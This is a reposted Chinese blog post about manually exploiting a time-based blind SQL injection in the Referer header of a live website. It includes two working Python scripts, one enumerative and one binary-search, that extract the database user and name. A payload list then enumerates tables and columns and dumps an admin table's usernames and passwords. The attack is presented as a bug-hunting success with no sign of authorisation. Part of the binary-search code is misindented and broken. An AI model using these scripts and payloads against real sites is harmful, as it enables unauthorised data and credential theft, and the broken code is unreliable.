IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 实战渗透浅谈--一次巧合偶然的sql注入 -> 正文阅读

[大数据]实战渗透浅谈--一次巧合偶然的sql注入

一直以来,都想摆脱sqlmap的束缚,通过自定义脚本来完成,–前言

某月某天,挖盒子过程中,burpsuite扫出某个sqli,花了点时间测了下,确实有些搞头。

是一个from子查询payload,select*from(select sleep(10))a ,from会把后面的结果(在这里是子查询)当作单表来查询,
在这里插入图片描述
发包后,burpsuite返回包1154millls,存在sql注入,,不知道有多久没手工注入了,放sqlmap看能不能跑点数据出来
如图,referer注入设置level 3 ,time-base设置 technique T,跑不出注入点,欸,失望
在这里插入图片描述
明明有个注入点,就相当撕开了一个缺口,但迟迟找不到工具,一个人的孤独,一个人的渗透
找了位盆友,写了个枚举盲注,,

# -*- coding: utf-8 -*-
import requests,time
url="https://aBC.com.cn/aa/15432aa.html"
result=""
for i in range(1,50):
	for j in range(32,128): 
		headers={"Referer":"https://aBC.com.cn/aa/15432aa.html/'+if(ascii(substr(user(),{},1))={},sleep(5),0)+'".format(i,j),
                 "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
                 "Host":"https://aBC.com.cn/aa/15432aa.html"   
                }
		st=time.time()
		requests.get(url,headers=headers)
		if time.time()-st >=5:
			result+=chr(j)
			print('database user name:',result)
			break
		else:
			pass

本以为可以直接跑数据,但拿到脚本后,频繁地爆format错误,耽搁了两天后,吧format放到referer:"".format这个格式可以正常跑,,
准备了两个探测payload: user()、database()
DBA权限在这里插入图片描述
库名
在这里插入图片描述
到这里为止,,做得都是很肤浅的注入,
sql注入永远需要跑跑出字段和表才算一次比较合格的渗透,而上面这个脚本跑个库名就跑了5分钟,这里网上收集了某二分法,

枚举的思路就是:
for i in range(1,50):
for j in range(32,128):
if(ascii(substr(user(),{i},1))={j},sleep(5),0) 通过枚举j的值,从32到128,直到枚举到128才进行下一轮

二分法的思路就是在j的区间做处理,减少j的取值,
low=32,high=128,mid=80,user(),{i},1通过比较是否小于80,具体缩小到某个小区间内。。

 # -*- coding:utf-8 -*-

    import requests,time
    from requests import exceptions

    url="https://aBC.com.cn/aa/15432aa.html"
    def main():
        result=""

        for i in range(1, 20):
            low = 32
            high = 128
            #1111
            while low < high:
                mid = int((low + high) / 2)
                #content = "user()"
                #sql = "https://https://aBC.com.cn/aa/'+if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0)+'"
                
                headers={"Referer":"https://https://aBC.com.cn/aa/15432aa.html/'+if(ascii(substr(user(),{},1))<{},sleep(5),0)+'".format(i,mid),
                     "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
                     "Host":"https://aBC.com.cn/aa/"   
                    }
                st=time.time()    
                requests.get(url,headers=headers)
                #2222
                if time.time()-st >5:
                    high = mid
                else:
                    low = mid + 1
                print("low value {} and high value {}".format(low,high))
                #3333
           #跑出结果后,值的处理
           if low == high == 32:
            print("[*] Result is: {}".format(result))
            break
            result += chr(int((high + low - 1) / 2))
            print("database user :{}".format(result))
    if __name__ == '__main__':
        main()            

在这里插入图片描述

大概就这样,本来需要跑160次请求减少到只有4-5次,而且提高盲注率,,这样就有了跑表和字段的资本。。

,那么跑字段的话,这里已经花了点小心思收集好了payload
01.payload=user()获取数据库用户名
02.payload=database()获取数据库名
03(select table_name from information_schema.tables where table_schema=database() limit 0,1) 获取当前数据库的表
04.(select count(table_name) from information_schema.tables where table_schema=database() limit 0,1) 获取当前数据库表的个数
05.payload=(select count(column_name) from information_schema.columns where table_name=‘lb_admin’ limit 0,1)获取表中列字段个数
06.payload=(select column_name from information_schema.columns where table_name=‘lb_admin’ limit 0,1)获取表中列字段名
07.payload=(select a_password from lb_admin limit 0,1),{},1))<{} 获取a_password第一个字段内容
08.payload=(select a_password from lb_admin limit 1,1),{},1))<{} 获取a_password第二个字段内容

获取DBA
在这里插入图片描述

获取表名
在这里插入图片描述
获取表中的列
在这里插入图片描述
获取表中第二个列名
在这里插入图片描述
第三个列名password,

获取a_username列字段内容
在这里插入图片描述
获取a_password列字段内容
在这里插入图片描述

所以说,敢做就敢赢–《我是谁,“没有绝对安全的系统”》

这里有些经验:
爆表和字段,当前最需要的是payload,mysql的时间盲注每个人有很多理解,每个人写的内容也不一样,,
所以说,这样来搜索‘select table_name from information_schema.tables where table_schema=database() limit 0,1’,搜索引擎会返回收录的payload文章

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-12-01 17:46:35  更:2021-12-01 17:46:43 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 8:34:39-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码